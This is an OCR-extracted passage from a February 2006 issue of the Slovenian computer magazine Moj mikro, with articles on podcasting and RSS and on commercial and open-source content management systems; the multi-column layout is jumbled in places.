Bodisi so zadovoljni s prodajo prek svojih spletnih trgovin (ali spletnih trgovin prodajalcev računalniške opreme) ali pa so se omejeno spustili v prodajo na klasičnih trgovskih policah. Rezultati merjenja trga po svetu (pri nas takšne raziskave še ni bilo) kažejo podobno sliko. Podjetja se redkeje odločajo za alternativno ponudbo. Po njej posegajo domači uporabniki in mala podjetja, ki so občutljivejša na cene izdelkov. Morda je tako tudi zato, ker velika podjetja kupujejo večje količine in so zaradi tega upravičene do manjših oziroma večjih popustov. Originali jih stanejo manj kot običajne državljane, hkrati pa se tako tudi izognejo težavam uporabe alternativnih izdelkov. moj mikro | 2 | februar | 2006 IT - MOZAIK podcasting ŠIROKE MOŽNOSTI UPORABE In za kaj vse je poddajanje primerno? Kje vse lahko uporabimo podcasting? Pravzaprav za vsa področja, kjer sta prisotna avdio in video, pa naj gre za informativne, zabavne ali izobraževalne vsebine. Idejo so hitro pograbile glasbene skupine, spletne založbe, izobraževalne ustanove, pa tudi klasični mediji, ki so v tej tehnologiji takoj prepoznali logični internetni podaljšek svojega običajnega programa. Zanimivo je tudi, da se je podcast močno in hitro zasidral med avtorji spletnih dnevnikov, blogerji, pa najsi gre za tehnično in strokovno naravnane vsebine, ali pa za osebno izpovedno posnete glasbene podlage ustrezno skrajšati, da bi zadostili pravnim zahtevam. In čeprav gre za dokaj neumen pravniški kavelj, se utegne zgoditi, da bo to postala ena izmed glavnih zavor za vsesplošno uveljavitev poddaj v bližnji prihodnosti. Vsaj do takrat, ko bo pravna stroka, lastniki avtorskih pravic in mediji našli skupen jezik. PREDAVANJA V MP3-KLJUČU Vsekakor pa to ne bo ovira za vse, ki želijo ponuditi svoje avtorske vsebine in imajo ob tem tudi kaj povedati ter pritegniti uporabnike. Tu so meje določene zgolj s kreativnostjo, PRAVI RAZMAH PRIHAJA V VIDEOM Zvočni podcasti pa so, kot prikrito namigujemo že ves čas, zgolj začetek. Menimo, da bo pravi razmah prišel z videom. In pri tem ne mislimo zgolj na medijske hiše, izobraževalne ustanove in druge organizacije, ki bodo svoje vsebine lahko ponudile komurkoli, kadarkoli in kjerkoli. V mislih imamo namreč tudi povsem običajne uporabnike, ki s svojimi mobilniki ali digitalnimi kamerami že zdaj snemajo video trenutke, pa naj gre za utrinke iz vsakdanjega življenja, rojstne dneve, zabave, pomembne družinske dogodke, nevsakdanje  Podcast je internetni ekvivalent samodejno posnetim radijskim in TV-oddajam. tematiko, politično obarvane kolumne in vse drugo, kar si lahko zamislimo. V Sloveniji lahko na primer na spletnem portalu RTV Slovenija (www.rtvslo.si/podcasti) najdemo dve poddaji: Radio Ga Ga in Toplovod. Med slovenskimi znanimi osebnostmi je na področju poddaj že dlje časa prisoten tudi že omenjeni Jonas Ž (www.jonas.si). KAVELJ 22 Zdi se, da mora vsaka dobra stvar imeti svoj »ampak«, in tudi tu ne gre drugače. Problem je namreč v avtorskih pravicah. Če so lastniki avtorskih pravic še nekako požirali pretočni avdio in video ter se bili pripravljeni vsaj minimalno pogajati glede višine in narave denarnih nadomestil, so pri podcastingu nepopustljivi. Pretočne vsebine lahko vsaj teoretično jemljemo kot radijski ali TV-signal, čeprav gre tehnično za prenos in presnemavanje oziroma kopiranje, narava podcastinga pa je že v osnovi takšna, da sloni na prenosu in shranjevanju vsebin. In čeprav je moč z ustrezno programsko opremo shraniti pretočni avdio in video na disk za kasnejšo uporabo, je posamezna epizoda poddaje pravzaprav že kodirana datoteka MP3 ali MPEG, ki jo lahko uporabnik brez posebnega truda nelegalno distribuira naprej. Obstaja kar nekaj primerov v sodobni praksi velikih medijskih hiš, ki omogočajo podcaste, ko so morali običajne radijske oddaje zaradi že tehnologija pa je tako enostavna, da jo lahko uporablja vsakdo. Na tem mestu velja tudi omeniti izjemno vlogo, ki jo podcasting že ima na področju izobraževanja. Predavanja, okrogle mize, delavnice, navodila – vse to je zdaj resnično postalo dostopno z relativno majhnim tehnološkim vložkom. Ker se poddaje lahko prenašajo v prenosne MP3- (pa tudi video!) predvajalnike, je prenos znanja in informacij lažji in prožnejši kot kdaj poprej. Nikakor ne smemo pozabiti tudi na slepe in slabovidne, ki jim ta tehnologija prinaša izjemne možnosti. dogodke, žgečkljive podobe (da, tudi amaterske erotične vsebine se bodo pojavile) ali pa za usmerjena in namerna ustvarjalna dejanja, ki bodo prispevala k novim oblikam komunikacije v družbi in še večji konvergenci ter nemara tudi demokratizaciji medijev. O slednji si glede na dosedanje izkušnje sicer ne upamo imeti preveč optimističnega mnenja, toda tudi upanja ne bomo že kar vnaprej pokopali.  Jonas Ž. o podcastingu Jonas Ž. je eden izmed redkih slovenskih TV-zvezdnikov in igralcev, ki ima informacijske tehnologije v malem prstu. Velja tudi za enega izmed prvih slovenskih blogerjev (avtorjev spletnih dnevnikov), internetni javnosti pa je znan predvsem po svoji spletni strani www. jonas.si, kjer že dlje časa objavlja spletni dnevnik. Temu je pridružil tudi podcaste ali, kot jih je sam poimenoval, »poddaje«. Da si je z računalništvom zelo blizu, pa priča tudi malce bolj obskuren podatek, saj se je v osemdesetih med drugim kot eden izmed prvih pri nas ukvarjal z nadgradnjo takrat še zgolj angleško govorečih tiskalnikov z nabori slovenskih krilatih znakov (šumnikov). Seveda je bil tudi sodelavec Mojega mikra. Zaradi insiderskega pogleda tako na medije kot na tehnologijo smo ga povprašali, kaj meni o prihodnosti podcastinga. »Poddajanje gotovo pomeni začetek, prvi korak k novemu vzorcu vizualnih informacij. Televizija, kakršno poznamo danes, se poslavlja, najbrž tudi kinodvorane. Odpira se možnost za popolno demokratizacijo medijev, vsakdo je lahko 'publisher' (naš 'založnik' nekako ni prava beseda). Da o novih vzorcih ustvarjanja vsebin niti ne govorim. Menim pa, da nas čaka še velik boj. Boj za pravo, ne le navidezno demokracijo. Če se je s slednjo Amerika sprijaznila, pa nas, bodoče državljane Interneta (Googla?), ne sme zadovoljiti.« 25 IT - MOZAIK podcasting Zvok in slika na zahtevo Minulo leto je v internetnem prostoru zasijala še ena nova beseda: podcasting. Zgodba sega sicer kakšnih šest let nazaj, začetek vzpona pa v leto 2004, ko je tehnologija RSS, s katero je podcasting neločljivo povezan, začela postajati vse bolj priljubljena. Za pravo popularizacijo podcastinga pa lahko štejemo leto 2005, ko je postal modna muha in vsakdanja resničnost. Kaj je torej ta mistični podcasting? Piše : Vasja Ocvirk vasja.ocvirk@mojmikro.si P odcast je RSS-vir z zvočnimi ali video posnetki, ki je na voljo vsem tistim uporabnikom, ki se naročijo nanj. To pomeni, da se vsebine, največkrat kar datoteke MP3, na katere smo se naročili, samodejno in v ozadju prenašajo na naš računalnik in so vedno na voljo za ogled ali poslušanje. Gre za tako imenovano potisno (push) posredovanje podatkov, kjer strežnik »potisne« podatke k uporabniku, kar je ravno nasprotno od, denimo, pregledovanja spletnih strani, kjer uporabnik zahteva podatke in jih »povleče« k  sebi (pull). Sicer pa je podcast internetni ekvivalent samodejno posnetim radijskim in TVoddajam. OD KOD IME? Ime izhaja iz še ene pomembne funkcionalnosti: uporabnik lahko te zvočne ali video vsebine prenese v svoj prenosni predvajalnik. Ker je v ZDA najbolj priljubljen MP3-mlinček prav Applov iPod, je ime podcasting logična posledica njegove razširjenosti. Drugi del skovanke je prispevala beseda broadcasting. Pri nas se počasi uveljavlja dokaj posrečen izraz »poddaja« in »poddajanje«, ki si ga je izmislil nihče drug kot Jonas Ž. Toda več o tem malce kasneje. Idejo so hitro pograbile glasbene skupine, spletne založbe, izobraževalne ustanove, pa tudi klasični mediji, ki so v tej tehnologiji takoj prepoznali logični internetni podaljšek svojega običajnega programa. 24 TEHNOLOGIJA Vrnimo se k tehnologiji. Kot smo že omenili, je podcast ali poddaja vsebovana v RSS-viru. V njem so zapisani URL-naslovi, kjer se so MP3 ali video datoteke oziroma datoteke v drugem sorodnem formatu. Avtor poddaje posname avdio ali video datoteko in jo objavi na spletnem strežniku. Nato lokacijo te datoteke zapiše v formatu XML in standardu RSS v RSS-vir (feed). Tega prav tako objavi na spletni lokaciji. Uporabniki se nato naročijo na ta vir in program (podcatcher ali agregator) na njihovi strani datoteke samodejno prenaša in shranjuje na disk. Vsaka takšna datoteka se v tem kontekstu imenuje epizoda. V praksi to pomeni, da si uporabnik namesti enega izmed odjemalskih programov, se naroči na ustrezne vire in zabava se lahko prične. Na voljo je precej tovrstnih programov, nekateri združujejo tudi RSS-bralnike, med njimi pa so zelo priljubljeni Appleov iTunes, Juice (bivši iPodder), BitsCast, Primetime Podcast Receiver in še bi lahko naštevali. Seznam najbolj priljubljenih programov si lahko ogledate na spletni strani Podcasting News (www.podcastingnews.com/topics/Podcast_Software. html), kjer je tudi seznam virov, na katere se lahko naročimo. Kakorkoli že izbira je velika, saj gre za hitro rastoči trend, zato tudi ne čudi, da je na voljo tudi precej programov za ustvarjanje poddaj, še zlasti pa so zanimivi spletni servisi, ki omogočajo to storitev. moj mikro | 2 | februar | 2006 IT - MOZAIK sistemi za samostojno upravljanje spletnih vsebin Potreba po ažurnosti informacij Potreba po vsakodnevnem objavljanju ali posodabljanju večjega števila spletnih strani je problem, s katerim se srečujejo številni lastniki spletnih strani. Rešitev so sistemi za upravljanje spletnih vsebin. Piše : Radoš Skrt rados.skrt@mojmikro.si Čas, ki poteče od nastanka potrebe po objavi določenih informacij na spletni strani do njene objave, in stroški, ki so s tem procesom povezani, lahko pomenijo eno ključnih prednosti ali pa slabosti spletnega nastopa. Če so postopki za objavo informacij na spletni strani preveč zapleteni in tudi predragi (kar je še posebej pogost pojav pri kompleksnih in vsebinsko zelo obsežnih spletnih mestih), lahko privedejo to tega, da se vsebina na spletni strani preprosto ne posodablja oziroma se ne posodablja tako pogosto, kot bi se to lahko. Na daljši rok se kaže tak odnos do vsebine v njeni čedalje manjši ažurnosti, relevantnosti in verodostojnosti, kar prej ali slej zmanjša priliv obiskovalcev na spletno stran. ZUNANJI VZDRŽEVALCI VSEBINE? Podjetja, ki za posodabljanje spletne vsebine najemajo zunanje izvajalce, se lahko poleg večjih stroškov srečajo tudi s problemi, ki so povezani z odzivnim časom vzdrževalcev vsebine. Veliko podjetij namreč tarna, da pogostokrat mine preveč časa od posredovanja zahtevka za spremembo vsebine do njegove izpolnitve. Za marsikatero podjetje, ki je prepuščeno na milost in nemilost zunanjih vzdrževalcev vsebine, je lahko tak odnos poguben, saj lahko neažurna vsebina povzroči poleg odliva obiskovalcev s spletne strani tudi veliko poslovno škodo. REŠITVE ZA SAMOSTOJNO UPRAVLJANJE SPLETNIH VSEBIN Podjetjem, ki se srečujejo s takšnimi in podobnimi težavami, bi še kako prav prišla takšna programska rešitev, ki bi jim omogočila, da brez znanja spletnega programiranja popolnoma sami upravljajo z vsebino kot tudi s celotno spletno stranjo. Ker imajo vsa podjetja potrebo po minimiranju stroškov na vseh ravneh poslovanja in čimbolj enostavni objavi ažurnih informacij na spletni strani, se zdijo sistemi za upravljanje vsebin (Content Management  Systems; v nadaljevanju: sistemi CMS) ena od optimalnih rešitev za zadovoljitev omenjenih potreb. Ker so sistemi CMS namenjeni samostojnemu ustvarjanju, urejanju in vzdrževanju spletnih vsebin ter upravljanju s celotno spletno stranjo, se lahko tako podjetja z njihovo pomočjo delno ali v celoti izognejo stroškom vzdrževalnih pogodb ali pa stroškom povezanih z najemom programerjev, ki skrbijo za posodabljanje vsebine. PREDNOSTI IN SLABOSTI REŠITEV CMS Zaradi vse večjega povpraševanja po programskih rešitvah, ki odpravljajo omenjene težave, doživljamo v zadnjih letih pravo ekspanzijo komercialnih (plačljivih) in odprtokodnih (brezplačnih) sistemov za upravljanje s spletnimi vsebinami. Čeprav so sistemi CMS namenjeni različnim tipom spletnih strani in pokrivajo zelo raznolik spekter funkcionalnosti, lahko rečemo, da imajo vsaj v osnovi enoten skupen cilj: enostavno (brez programiranja in urejanja HTML kode) omogočiti objavo vsebin na spletni strani, ne da bi imel uporabnik pri tem težave z načinom in obliko prikaza. Uporabnost sistemov CMS se kaže v tem, da omogočajo preprosto in celovito obvladovanje spletnega mesta tudi tehnično nepodkovanim uporabnikom. Za spreminjanje vsebine na spletni strani namreč ni potrebno poznavanje programskih jezikov in internetnih tehnologij. Urejanje spletnih vsebin s pomočjo sistema CMS je resnično zelo enostavno opravilo, ki je zelo podobno uporabi urejevalnikov besedil, kot sta npr. Word ali Notepad. Poleg enostavne uporabe je ena izmed poglavitnih prednost uporabe sistema CMS tudi ta, da lahko uporabnik prek spletnega brskalnika kadarkoli in od koderkoli ureja vsebino spletnega mesta. Ne glede na vrsto spletne prisotnosti (predstavitvena stran, trgovina, portal ...) boste tako lahko z uporabo ustreznega sistema CMS vse spremembe na spletni strani opravili hitro, enostavno in predvsem takrat, ko boste to želeli. In ne samo to, v skrb za ažurnost spletne predstavitve boste lahko vključili tudi svoje sodelavce. Dostop do sistema CMS ima lahko namreč več oseb znotraj podjetja, kar pomeni, da se lahko opravilo vzdrževanja spletnih strani porazdeli med točno določene osebe (npr. prodajni referent spreminja cenike, kadrovnik skrbi za ažurnost podatkov o zaposlenih, tržnik za akcijsko ponudbo ipd.). Z uporabo sistema CMS boste tako lahko svoje obiskovalce red- Sistemi CMS omogočajo hitro, enostavno in samostojno posodabljanje vsebine spletnih strani tudi uporabnikom brez posebnega tehničnega znanja, zato so za podjetja najcenejša in najučinkovitejša rešitev. 26 no razveseljevali s svežimi in aktualnimi informacijami, z novostmi iz svojega prodajnega programa, z akcijskimi ponudbami, novimi članki, nasveti, zanimivostmi ... Poleg urejanja besedil, kjer boste med drugim imeli možnost upravljanja z vrsto, velikostjo, barvo in s slogom pisave, boste lahko vplivali tudi na poravnavo besedila, dodajali, brisali in urejali boste lahko slike, tabele, grafe, izdelke v spletni trgovini, hipertbesedilne povezave, fotografije in podobno. Pri urejanju vsebine je za uporabnike še kako pomemben podatek, da je videz vsebinskih posodobitev, ki jih opravimo znotraj sistema CMS, enak končnemu videzu na spletni strani (načelo WYSIWYG: What you see is what you get). Sistemi CMS pa ne omogočajo le urejanja vsebine, temveč tudi celovito upravljanje spletnega mesta, vključno z njegovo strukturo (krmarjenjem), oblikovno podobo, pravicami uporabnikov in z vsemi moduli, ki so vključeni v spletno mesto (ankete, forum, novice ipd). Tako lahko npr. z uporabo sistema CMS uporabniki popravijo in dodajajo novice, ki se prikazujejo na osrednji strani njihove spletne strani, kar v urejevalniku, ki je v sistemu, ne da bi se ukvarjali z oblikovanjem novice v kodi HTML ali z njenim prenosom v spletni strežnik. Kljub vsem funkcionalnostim, ki jih omogočajo sistemi CMS, se morate zavedati, da ni vsak sistem CMS primeren za vsak tip spletne strani. Nekateri sistemi puščajo tako malo kreativne svobode, da lahko že takoj po prihodu na določeno spletno strani veš, s katerim sistemom je bila narejena. To je seveda posledica uporabe že vnaprej pripravljenih predlog, istega tipa krmarjenja ter dodatnih modulov, ki delujejo po istem načelu in imajo zelo podoben videz. Ko že ravno omenjamo videz spletne strani, narejene s sistemom CMS, velja omeniti še nekaj zelo pomembnega. Čeprav so enostavnost rokovanja in možnost spreminjanja in nastavljanja oblikovnih predlog zaželene lastnosti vsakega sistema CMS, pa te prednosti niso tako nedolžne, kot se zdijo na prvi pogled. Izdelovalci spletnih strani še posebej opozarjajo na nevarnost, do katere pride, ko po zaključku projekta prepustijo spletno stran, ki so jo izdelali, v samostojno upravljanje naročniku. Ta lahko namreč pri uporabi orodja CMS začne pretiravati z uporabo orodnih vrstic, ki omogočajo oblikovne popravke. Tako se lahko kaj hitro zgodi, da uporabnik zaradi svojih »kreativnih podvigov«, ki s pravo estetiko nimajo nič skupnega, popolnoma zmaliči oblikovno podobo spletnih strani. Tisti, ki imajo dovoljenje za spreminjanje vsebine, še posebej radi pretiravajo z velikostjo in poudarjanjem pisave ter z uporabo večjega števila barvnih odtenkov pisave. Na težave, povezane s predajo projekta naročniku, in z začetkom njegovega upravljanja spletne strani prek sistema CMS, nas je moj mikro | 2 | februar | 2006 IT - MOZAIK sistemi za samostojno upravljanje spletnih vsebin gega slabost, in obra- tako redek pojav. Ker se ves razvoj odvija na tno. Težave, s katerimi prostovoljni podlagi, razvijalci ne dajejo jamse srečujejo uporabniki stev za pravilno delovanje sistema kot tudi ne sistemov CMS, lahko jamstev, da bodo skrbeli za popravke in nadnastanejo tudi izključ- gradnje sistema in da bodo zagotavljali pomoč no kot posledica izbire uporabnikom. Je pa po drugi strani res, da nam med komercialno in zaradi odprte kode lahko pomaga in opravlja odprtokodno različico nadgradnje skoraj vsak programer, ki obvladusistema. Poleg nekate- je programski jezik PHP. rih osnovnih prednosti, ki jih uporabnikom POMEMBNO JE OHRANITI prinašajo komercialni NEODVISNOST sistemi CMS (poNe glede na to, ali se boste odločili za komernudnik daje podporo cialno ali odprtokodno izvedbo sistema CMS, uporabnikom, omo- je pomembno to, da boste postali neodvisni od goča nadaljnji razvoj razvijalca oziroma skrbnika vaše spletne strani sistema, sistem lahko in od njihovega razpoložljivega časa. Če boste za doplačilo prilagodi uporabljali eno izmed brezplačnih odprtokodposebnim željam upo- nih različic sistemov CMS, se vam bo neodrabnikov), pa je lahko visnost od licenčne programske opreme in od njihova uporaba pove- zunanjih izvajalcev poznala tudi na debelejši Preveč kreativne svobode pri urejanju vsebine lahko vpliva na slab zana tudi z določenimi denarnici, saj boste lahko prihranili velik delež videz spletne strani. slabostmi. V prvi vrsti denarja, ki ste ga doslej namenjali za posodabvelja omeniti stroške ljanje in vzdrževanje svoje spletne strani. Treopozoril tudi Tomaž Leban, oblikovalec pri nakupa programske opreme in nadaljnjega ba pa je vedeti, da se kljub uporabi brezplačne Inetia.com: »Del stroškov uporabe sistemov vzdrževanja, ki se jim z uporabo odprtokodne programske opreme ne boste mogli v celoti za upravljanje z vsebinami predstavlja izobrešitve lahko izognemo. Veliko dodatnih stro- izogniti stroškom, povezanih z vzdrževanjem raževanje uporabnikov, ki bodo vanj vnašali škov lahko povzročijo tudi nove funkcional- spletnih strani, saj boste morali v stroške vštevsebine. Čeprav se zdi samo vnašanje vsebin nosti, ki jih želimo prek sistema vključiti na ti čas, ki ga boste za vzdrževanje porabili sami precej enostavno opravilo, je vseeno treba vespletno stran, in dodatne prilagoditve sistema. ali pa vaši sodelavci znotraj podjetja. Nikakor deti, katere podatke lahko vnašamo. Težave Določene slabosti pa imajo seveda tudi pa si ne zatiskajte oči tudi pred stroški, ki so nastanejo predvsem pri kopiranju besedil in odprtokodni sistemi CMS. Uporabniki se povezani z uvajanjem sistema, izobraževanjem tabel iz dokumentov MS Office (Word, Excel lahko srečajo s precejšnjimi težavami, če se uporabnikov in morebitnim prilagajanjem si...). Problem lahko nastane tudi pri oblikovrazvoj sistema ustavi ali pa če zaide v slepo stema CMS kot posledica vaših posebnih poni enotnosti dokumentov. Ko CMS prevzame ulico, kar pri brezplačnih različicah sploh ni treb in želja. naročnik, oblikovalec ponavadi nad obliko vnesenih dokumentov nima več nadzora. ZaZakaj izbrati odprtokodni sistem CMS? radi tega je priporočljivo podati smernice tiste• Ali želite zmanjšati stroške povezane z vzdrževanjem spletne strani? mu, ki bo zadolžen za urejanje vsebine. Veliko lastnosti je mogoče nastaviti znotraj sistema • Ali ste naveličani izgovorov spletnih oblikovalcev in programerjev, da trenutno nimajo (barva in velikost naslovov in besedila, barva časa za urejanje vaše spletne strani? ozadja, poravnave itd.), vendar pa je končna • Bi želeli sami posodabljati vsebino svoje spletne strani? postavitev dokumentov odvisna od osebe, ki • Bi želeli svojo spletno stran nadgraditi z novimi funkcionalnostmi vnaša vsebino.« (prijava na e-novice, anketa, forum, aktualno, obrazec za povpraševanje …)? Zadovoljstvo, ki ga lahko prinese uporaba sistema CMS, je tako v marsičem povezano s pravilnostjo njegove uporabe in z zmožnostjo učinkovitega izkoriščanja funkcionalnosti, ki jih sistem ponuja. Prednosti sistemov CMS pa lahko poleg lastnikov spletnih strani s pridom izkoriščajo tudi podjetja, ki se ukvarjajo z izdelavo spletnih strani, saj jim lahko uporaba sistema CMS zagotavlja poleg večje pregledPregled toka nosti nad celotnim spletnim mestom tudi veliprenosa podatkov ke časovne in stroškovne prihranke na račun Vir slike: www.oblikovanje.com hitrejše izdelave spletnega mesta (predvsem v primerih izdelave tipskih spletnih strani), kar se ne nazadnje pozna tudi na večjem zaslužku Po katerih tehničnih značilnostih se lahko razlikujejo sistemi CMS pri posameznemu projektu. • Licenca: odprtokodna rešitev, licenčna rešitev • Osnova; Windows, Linux, Mac ... ZA ENEGA PREDNOST, • Spletni strežnik: IIS, Apache, Zope ... ZA DRUGEGA SLABOST • Ogrodje apliakcije: Perl, Python, .NET, J2EE, PHP, Cold Fusion ... Na prednosti in slabosti, ki jih imajo rešitve • CMS Fogrodje: AxKit, Cocoon, Midgard, Zope ... CMS, gleda vsak uporabnik drugače. Kako tudi • Programski jezik: PHP, Python, Perl, VB, Java ... ne, ko pa ima vsak lastnik spletne strani svoje • Podatkovni strežnik: MySQL, PostgreSQL, Oracle, SQL Server, ODBC ... potrebe in želje, ki jih mora izpolnjevati sistem CMS. Kar je za nekoga prednost, je lahko za dru- 27 IT - MOZAIK sistemi za samostojno upravljanje spletnih vsebin KAJ OMOGOČAJO SISTEMI CMS? Čeprav deluje večina sistemov za upravljanje z vsebinami po podobnem načelu, pa se med seboj najbolj razlikujejo po uporabnosti in po številu ter namembnosti različnih možnosti. Med najpogosteje ponujene možnosti sistemov CMS bi lahko prišteli naslednje: • hitro in preprosto urejanje ter oblikovanje vsebin; • možnost vključitve zunanjih slogov CSS, kar je z vidika samostojnega oblikovanja podobe spletne strani še kako pomembno; • dodajanje in urejanje slik, tabel, grafov, povezav; • samostojno urejanje strukture strani spletnega mesta − izdelava menijev in podmenijev; • vključevanje že vnaprej izdelanih modulov ali obrazcev za vnos podatkov na spletne strani (npr. aktualne novice, anketa, forum, galerija, poštni seznam); • možnost dodajanja dokumentov na spletno stran (datoteke pdf, zip …); • časovno vodena objava vsebine (določimo, lahko kdaj se naj določena vsebina objavi in kako dolgo naj se prikazuje na spletni strani); • možnost uvoza in izvoza podatkov (v Word, Excel, Access ...); • izdelava podatkov za RSS-sisteme vsebin; • ustvarjanje metaoznak, ki so pomembne za uvrščanje spletne strani v iskalnikih; • možnost dodeljevanje pravic upravljanja (večuporabniški sistem z upravljanim dostopom področnih urednikov do posameznih vsebin); • možnost administriranja uporabnikov; • podrobna statistika obiskanosti spletnega mesta; • večjezična podpora, ki omogoča postavitev strani v več jezikovnih različicah; • arhiviranje podatkov. Seznam možnosti sistemov CMS, bi lahko nadaljevali v nedogled. Večina sistemov CMS je zasnovanih modularno, kar pomeni, da so zelo prilagodljivi glede dodajanja novih in spreminjanja obstoječih zmožnosti v skladu s potrebami in zahtevami naročnika. NEKAJ NASVETOV PRED IZBIRO SISTEMA CMS Naj vas pri izbiri ustrezne rešitve nikar ne zavede veliko funkcij, ki so lahko vključene v osnovno namestitev posameznega sistema CMS. Zgodi se vam namreč lahko, da večine teh možnosti sploh ne boste potrebovali. In ne samo to, zaradi obsežnosti lahko postane takšna rešitev zahtevna za uporabo in za upravljanje. Z vidika funkcionalnosti je pomembno predvsem to, ali lahko brez težav in nadgradenj izvajamo najosnovnejša opravila. Preverite osnovne in dodatne zmožnosti sistema Zato je pri izbiri ustreznega sistema CMS bolj kot število različnih funkcij priporočljivo preveriti, katere zmožnosti ponuja osnovna namestitev, koliko dodatnih funkcij oziroma modulov 28 je na voljo, kako zahtevna je njihova vključitev v sistem in kakšne so možnosti prilagoditve samega sistema. Pomembno je namreč, ali lahko CMS prilagodimo svojim zahtevam in željam oz. kolikšen delež teh zahtev lahko z izbiro določene rešitve izpolnjujemo. Ker se spletne strani nenehno razvijajo in rastejo, je še kako pomembno, da bo izbrani sistem CMS sledil vaši rasti in da bo zmožen zadostiti vsem vašim potrebam, ki jih boste imeli v prihodnosti. Pri mnogih rešitvah so namreč možnosti za dodelavo minimalne ali pa povezane z dodatnimi visokimi stroški. Optimalno bi bilo, da bi izbrana rešitev omogočala popolno prilagodljivost in razširljivost glede na želje in zahteve uporabnika. V povezavi s to problematiko morate pred izbiro ustreznega sistema poiskati tudi odgovore na naslednja vprašanja: Kako je poskrbljeno za tekoče vzdrževanje sistema? Kako je poskrbljeno za razvijanje dodatnih funkcionalnosti in nadgradenj? Kako široka skupnost uporabnikov razvija dodatke za sistem? Tudi odprta koda ni povsem brezplačna Človeška narava je takšna, da človek ni prav zadovoljen z nobeno stvarjo, tudi s takšno ne, ki jo dobi brezplačno v uporabo in mu prihrani ogromno stroškov. Verjetno ni zaman nastal pregovor: »Podarjenemu konju se ne gleda v zobe.« Tako je tudi z odprtokodnimi sistemi CMS. Čeprav jih dobimo popolnoma zastonj in ponujajo večino želenih zmožnosti, vedno nergamo, da to in ono ne deluje tako, kot bi moralo, da bi bila lahko določena funkcionalnost veliko boljša ipd. Veliko bolj konstruktivno bi bilo razmišljanje, da bi del denarja, ki smo ga privarčevali pri nakupu, namenili v izboljšanje in dograditev obstoječih zmožnosti. Tako bi lahko po veliko ugodnejši ceni od komercialnih različic dobili program, ki bi popolnoma ustrezal našim potrebam. Želite sistem CMS samostojno prilagajati? Za vse tiste, ki imajo dovolj znanja za samostojne prilagoditve sistema CMS, bo še posebej pomembno tudi to, kako prefinjena in očiščena je programska koda sistema in kako dobro je komentirana in dokumentirana. Posamezne prednosti sistema so lahko pri slabo napisani dokumentaciji, ki onemogoča učinkovito prilagajanje sistema, kaj hitro izničene. Za podjetja, ki izdelujejo spletne strani s pomočjo CMS sistemov, je z vidika funkcionalnosti sistema CMS še posebej pomembno, v kakšni meri lahko sami vplivajo na postavitev in videz strani, kako zahtevno je spreminjanje že vnaprej pripravljenih oblikovnih predlog, ali je mogoč uvoz že narejenih predlog ipd. Ocenite zahtevnost in stroške uporabe sistema CMS Tako za razvijalce kot za lastnike in vzdrževalce spletnih strani je ena ključnih postavk pri izbiri ustrezne CMS rešitve tudi zahtevnost njene uporabe. Ker je lahko uporaba kompleksnega sistema CMS povezana z dragim izobraževanjem, ki je nujno potrebno, da ga boste znali uporabljati, je priporočljivo, da pred izbiro kateregakoli sistema približno ocenite čas, ki bo potreben za uvajanje vseh uporabnikov sistema (od vnašalcev vsebine do urednikov sistema). Za uporabnike je pomembno tudi to, kam se lahko pri težavah obrnejo po pomoč in kako dobro so napisana navodila za uporabo sistema. Navodila za uporabo so še kako pomembna pri namestitvi sistema v strežnik in pri vzpostavitvi zbirke, ki jo sistemi CMS potrebujejo za svoje delovanje. Ker je pri tem opravilu potrebno tehnično znanje, ga bodo »neračunalnikarji« brez ustrezne strokovne pomoči težko izvedli. Ker se namestitev sistema na srečo izvede samo enkrat, pa naj vas še tako zahteven postopek namestitve že vnaprej ne odvrne od uporabe sistema. Bistvena dejavnika za izbiro sta namreč enostavnost uporabe in učinkovitost delovanja. Sodbe o učinkovitosti posameznih sistemov se razlikujejo od uporabnika do uporabnika. Nepisano pravilo pravi, da je sistem CMS dober prav toliko, kolikor njegove funkcionalnosti (in možne prilagoditve) zadostujejo potrebam vsakega posameznega uporabnika. So s sistemom CMS povezane dodatne programske ali strojne zahteve? Če bi se radi izognili nepotrebnim dodatnim stroškom, se pozanimajte, ali potrebujete za delovanje izbrane rešitve CMS tudi kakšno dodatno programsko ali strojno opremo oziroma ali strežnik, kjer gostujete s spletno stranjo, sploh ustreza pogojem delovanja sistema CMS (večina odprtokodnih sistemov CMS zahteva podporo za skriptni jezik PHP in zbirko podatkov MySQL). Zato se pozanimajte, na katerem operacijskem sistemu, na kakšni vrsti strežnika in na kakšni podatkovni zbirki deluje CMS ter katero vrsto in različico programskega jezika podpira (npr. PHP4, PHP5). Ker je del stroškov vaše spletne predstavitve povezan tudi s stroški gostovanja, ne bo odveč preveriti, koliko razpoložljivega prostora v strežniku imate na voljo, saj vam lahko namestitev sistema CMS zaradi njegove velikosti in uporabe podatkovne zbirke prinese višje mesečne stroške gostovanja. Preverite varnostne vidike In ne nazadnje: priporočljivo je preveriti tudi, kako varen je sistem CMS pred morebitnimi zlorabami, kako so zaščiteni podatki v strežniku, kako je poskrbljeno za izdelavo rezervnih kopij podatkov in kakšne so možnosti prenosa podatkov na drug sistem. Preverite več sistemov in izkušnje drugih Pred končno izbiro sistema CMS je več kot priporočljivo preizkusiti delovanje in uporabnost nekaj različnih sistemov kot tudi preveriti izkušnje drugih uporabnikov. Dobro izhodišče za preizkušanje odprtokodnih sistemov je spletna stran Open Source CMS (www.opensourcecms.com), kjer lahko brez kakršnegakoli nameščanja programske opreme v svoj računalnik preizkusite zares veliko izbiro najrazličnejših sistemov CMS, ki temeljijo na osnovi PHP/MySQL.  moj mikro | 2 | februar | 2006 IT - MOZAIK odprtokodni sistemi CMS Priljubljeni in dostopni vsakomur Za večino odprtokodnih sistemov lahko rečemo, da so razviti po sistemu »LAMP« (operacijski sistem Linux, spletni strežnik Apache, podatkovna zbirka MySQL in skriptni jezik PHP, ki ga lahko nadomestita tudi Perl ali Python). Ker je koda odprtokodnih sistemov, kot pove že samo ime, dostopna vsakomur, jo lahko seveda kdorkoli preučuje, popravlja in nadgrajuje, kar je seveda v popolnem nasprotju s komercialnimi rešitvami, ki nastajajo v zaprtem okolju in kjer je programska koda dostopna ozkemu krogu ljudi. Piše : Radoš Skrt rados.skrt@mojmikro.si Z razvojem odprtokodnih rešitev, ki lahko nastajajo tudi v širši skupnosti razvijalcev, pa se na srečo vseh uporabnikov lahko hitro razvijajo tudi dodatne funkcionalnosti, ki povsem brezplačno na voljo tudi vsem uporabnikom določene rešitve. Zaradi svoje odprtosti in prilagodljivosti imajo odprtokodne rešitve veliko podporo v številnih programerjih, ki lahko nadgrajujejo, popravljajo ali vzdržujejo programsko opremo, tudi če jo dejanski izvajalec preneha razvijati. Velika izbira programerjev, ki obvladajo programski jezik PHP, pa omogoča tudi to, da se 